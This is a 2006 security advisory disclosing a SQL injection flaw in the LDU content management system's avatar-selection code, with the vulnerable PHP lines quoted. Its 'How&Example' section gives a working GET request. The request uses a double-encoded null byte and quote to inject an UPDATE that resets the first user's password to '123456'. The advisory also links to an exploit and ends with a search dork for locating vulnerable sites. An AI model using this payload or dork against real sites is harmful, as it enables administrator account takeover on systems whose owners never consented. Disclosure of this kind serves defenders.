--Security Report-- Advisory: LDU <= 8.x Remote SQL Injection Vulnerability. --- Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI --- Date: 21/10/06 09:44 PM --- Contacts:{ ICQ: 10072 MSN/Email: nukedx@nukedx.com Web: http://www.nukedx.com } --- Vendor: Neocrome (http://www.neocrome.net) Version: 8.x also prior versions must be affected. About: Via this methods remote attacker can manipulate SQL query and change everything in LDU's user database.Vulnerable code can be found in profile.inc.php at lines 142-150 -Source in system/core/profile/profile.inc.php- 142: case 'avatarselect': 143: /* ============= */ 144: 145: ldu_check_xg(); 146: $avatar = $cfg['av_dir'].urldecode($id); 147: if (file_exists($avatar)) 148: { $sql = ldu_query("UPDATE $db_users SET user_avatar='$avatar' WHERE user_id='".$usr['id']."'"); } 149: 150: break; -End of source- As you can see "id" parameter did not sanitized properly and used with urldecode() function which decodes id's value so remote attacker can bypass magic_quotes_gpc and other functions which escapes ' strings.In avatarselect LDU checks files available with file_exists function and urldecode help us by using null byte. A demostration exploitation will be given in How&Example part. Level: Highly Critical --- How&Example: GET -> http://www.victim.com/users.php?m=profile&a=avatarselect&x=XVALUE&id=default.gif[SQL Inject] GET -> http://www.victim.com/users.php?m=profile&a=avatarselect&x=011A99&id=default.gif%2500%2527,user_password=%2527e10adc3949ba59abbe56e057f20f883e%2527/**/where/**/user_id=1/* with this example remote attacker changes password of 1st user of LDU to 123456 The XVALUE comes with your avatarselect link it's special to everyuser in LDU. For using this vulnerability you must be logged in to LDU... Timeline: * 21/10/2006: Vulnerability found. * 21/10/2006: Contacted with vendor and waiting reply. --- Original advisory: http://www.nukedx.com/?viewdoc=51 --- Exploit: http://www.nukedx.com/?getxpl=51 --- Dorks: "Powered by LDU"